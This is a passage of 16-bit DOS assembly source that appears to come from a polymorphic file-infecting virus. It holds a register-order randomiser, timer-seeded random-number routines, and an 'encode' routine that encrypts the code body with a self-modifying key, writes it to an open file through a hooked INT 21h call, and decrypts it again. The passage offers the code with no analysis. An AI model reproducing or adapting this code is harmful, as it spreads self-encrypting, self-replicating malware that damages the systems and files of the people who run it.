  837.                 mov     ax,2
  838.                 call    random
  839.                 xchg    cx,ax
  840.                 inc     cx
  841. order_loop:     call    boolean
  842.                 jnz     order1
  843.                 xchg    bx,ax
  844. order1:         call    boolean
  845.                 jnz     order2
  846.                 xchg    dx,ax
  847. order2:         call    boolean
  848.                 jnz     order3
  849.                 xchg    si,ax
  850. order3:         loop    order_loop
  851.                 push    si dx bx ax
  852. order_ret:      retn
  853.  
  854. ;=====( return random number between 0 and ffff in bx )======================;
  855.  
  856. random_bx:      xchg    bx,ax
  857.                 call    random
  858.                 xchg    bx,ax
  859.                 retn
  860.  
  861. ;=====( flip Sign bit )======================================================;
  862.  
  863. boolean:        push    ax
  864.                 mov     ax,1
  865.                 call    random
  866.                 pop     ax
  867.                 retn
  868.  
  869. ;=====( return random number between 0 and ffff )============================;
  870.  
  871. random_1:       mov     ax,-1
  872.  
  873. ;=====( Generate random number between 0 and AX )============================;
  874.  
  875. random:         push    ds bx cx dx ax
  876.                 xor     ax,ax
  877.                 int     1ah
  878.                 push    cs
  879.                 pop     ds
  880.                 in      al,40h
  881.                 xchg    cx,ax
  882.                 xchg    dx,ax
  883.                 mov     bx,offset ran_num
  884.                 xor     ds:[bx],ax
  885.                 rol     word ptr ds:[bx],cl
  886.                 xor     cx,ds:[bx]
  887.                 rol     ax,cl
  888.                 xor     dx,ds:[bx]
  889.                 ror     dx,cl
  890.                 xor     ax,dx
  891.                 imul    dx
  892.                 xor     ax,dx
  893.                 xor     ds:[bx],ax
  894.                 pop     cx
  895.                 xor     dx,dx
  896.                 inc     cx
  897.                 je      random_ret
  898.                 div     cx
  899.                 xchg    ax,dx
  900. random_ret:     pop     dx cx bx ds
  901.                 or      ax,ax
  902.                 retn
  903.                     
  904. ran_num         dw      ?
  905.  
  906. ;=====( Encrypts the code/writes it/decrypts code )==========================;
  907.  
  908. encode:         mov     bx,ds:handle
  909.                 mov     ax,0
  910. key             =       word ptr $ - 2
  911.                 mov     cx,(decrypt-v_start)/2
  912.                 xor     di,di
  913. encode_break:   clc
  914.                 clc
  915.                 clc
  916.                 clc                     ; XCHG CX,AX XCHG CX,AX
  917.                 clc
  918.                 clc                     ; CLC ADD AX,xxxx / XOR [DI],AX
  919.                 clc
  920.                 clc                     ; XOR [DI],AX / CLC ADD AX,xxxx
  921.                 inc     di
  922.                 inc     di
  923.                 loop    encode_break
  924. encode_ret      =       byte ptr $    
  925.                 mov     ah,40h
  926.                 mov     cx,file_size
  927.                 cwd
  928.                 pushf
  929.                 call    cs:int_21
  930.                 jc      encode_flag
  931.                 sub     ax,cx
  932. encode_flag:    pushf
  933.                 pop     bp
  934.                 mov     word ptr ds:[si],0
  935. encode_flip     =       word ptr $ - 2
  936.                 mov     byte ptr ds:write_buff[encode_ret-encode],0c3h
  937.                 jmp     encode
  938. encode_end:
  939.  
  940.